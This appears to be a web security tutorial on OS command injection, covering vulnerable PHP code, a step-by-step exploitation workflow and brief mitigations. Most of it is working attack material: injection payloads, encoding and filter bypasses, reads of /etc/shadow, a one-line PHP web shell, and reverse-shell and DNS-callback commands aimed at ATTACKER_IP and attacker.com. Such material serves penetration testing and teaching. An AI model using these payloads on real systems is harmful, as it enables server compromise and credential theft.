Command injection occurs when a web application passes user-controlled input into an operating system command without proper sanitization or isolation. This allows an attacker to execute arbitrary system commands on the underlying server. Because these commands run with the privileges of the application, command injection can immediately lead to full system compromise.
Command injection is among the most severe input-based vulnerabilities because it targets the OS directly rather than the application.
How Command Injection Happens
Many applications run system commands using functions such as:
-
PHP:
exec(),shell_exec(),system(),passthru() -
Python:
os.system(),subprocess() -
Node.js:
child_process.exec() -
Java:
Runtime.exec()
If developers concatenate user input into these commands, injection becomes possible.
Example vulnerable code (PHP):
system("ping -c 1 " . $_GET['host']);
Attacker input:
8.8.8.8; whoami
Executed command becomes:
ping -c 1 8.8.8.8; whoami
The server executes both commands.
Places Where Command Injection Occurs
Command injection typically appears in features involving:
-
Ping or traceroute tools
-
File upload or file processing
-
Backup or restore operations
-
Log viewing or filtering
-
Compression or decompression features
-
Shell utilities wrapped in web functions
-
System administration panels
-
PDF/image processing
Any functionality that touches the shell becomes a target.
Understanding Injection Operators
Common payload separators include:
-
; -
&& -
| -
|| -
`command` -
$(command) -
Newline injection (
%0a)
Example payloads:
8.8.8.8; id
127.0.0.1 && uname -a
test | cat /etc/passwd
$(whoami)
`hostname`
If these work, the application is vulnerable.
Practical Command Injection Discovery Workflow
Step 1: Identify Input Points
Test:
-
Query parameters (
?host=VALUE) -
POST body values
-
Form fields
-
Headers (User-Agent, Referer)
-
Cookies
Any input reaching a system command is suspect.
Step 2: Start With Non-Intrusive Payloads
Use safe test commands:
; echo test
| echo test
&& echo test
If the response includes “test”, injection is confirmed.
Step 3: Confirm Command Execution
Try:
; id
If the output contains:
uid=www-data
The server executed the command.
Step 4: Try Different Delimiters
Some servers block one operator but not others.
Test:
&& whoami
| whoami
`whoami`
$(whoami)
Step 5: URL Encode Payloads
Certain filters catch raw characters.
Encode separators:
%3B ;
%26%26 &&
%60 `
%24%28%29 $()
Example encoded payload:
8.8.8.8%3bid
Step 6: Header-Based Injection
Set malicious headers:
User-Agent: ;id
Referer: | whoami
Some backend scripts log headers using shell commands.
Step 7: Blind Command Injection Testing
If no output appears, use out-of-band detection.
Time-based blind injection:
; sleep 5
&& ping -c 5 127.0.0.1
If response delays → injectable.
File-based blind injection:
; echo hacked > /tmp/test
Check if file was created.
DNS-based testing:
; nslookup attacker.com
Check your DNS logs.
Extracting System Information (Practical)
Once injection is confirmed, enumerate system environment.
User and hostname
whoami
hostname
System details
uname -a
cat /proc/version
OS detection
ls /etc/*release
ver
Network details
ip a
ifconfig
netstat -tulnp
Accessible directories
ls -la /
ls -la /home
ls -la /var/www
Gaining File Access
Read sensitive files
cat /etc/passwd
cat /etc/shadow (if permissions allow)
cat /var/www/html/config.php
Write files (RCE escalation)
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
This creates a web shell.
Achieving Reverse Shell (Practical)
Once injection is confirmed, upgrade to a full shell.
Linux reverse shell
Your machine:
nc -lvp 4444
Injection payload:
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Netcat variant
; nc ATTACKER_IP 4444 -e /bin/bash
Once connected, attacker gets full remote access.
Bypassing Input Filters
Applications often filter:
-
semicolons
-
pipes
-
&& -
newline
-
dangerous commands
Bypass using alternate syntaxes.
Use backticks instead of semicolons
`whoami`
Use $()
$(whoami)
Use whitespace tricks
;whoami
%20whoami
${LS_COLORS:10:1}uname
Use hex encoding in Bash
echo $'\x69\x64'
Break filters by concatenation
wo''hami
Command injection almost always has multiple bypass layers available.
Exploiting Application-Level Behavior
Some apps wrap values in quotes:
ping "$host"
Break out:
" ; id #
Or:
" && id #
Some apps escape only certain characters:
8.8.8.8 $(id)
Even heavy filtering rarely stops all forms of command injection.
Why Command Injection Happens
Command injection arises from:
-
Passing input to system functions unsafely
-
Using string concatenation instead of parameters
-
Relying on blacklisting
-
Not validating input type
-
Shelling out instead of using internal libraries
Example mistake:
system("ping " . $_GET['host']);
Instead of using:
-
escapeshellarg()
-
escapeshellcmd()
-
Parameterized execution
-
Safe APIs
Impact of Command Injection
Command injection enables:
-
Reading sensitive files
-
Writing arbitrary files
-
Stealing credentials
-
Extracting database backups
-
Uploading malware
-
Escalating privileges
-
Full server takeover
Because it targets the OS directly, command injection is more damaging than most other web vulnerabilities.
Intel Dump
-
Command injection occurs when user input reaches OS-level commands without sanitization.
-
Attackers exploit separators like ;, |, &&, backticks, and $() to append commands.
-
Practical testing includes safe payloads, delimiter variations, URL encoding, and blind timing tests.
-
Exploitation enables system enumeration, file access, reverse shells, and privilege escalation.
-
Filters are easy to bypass with alternate syntaxes, encodings, and injection operators.
-
Command injection typically leads to complete server compromise.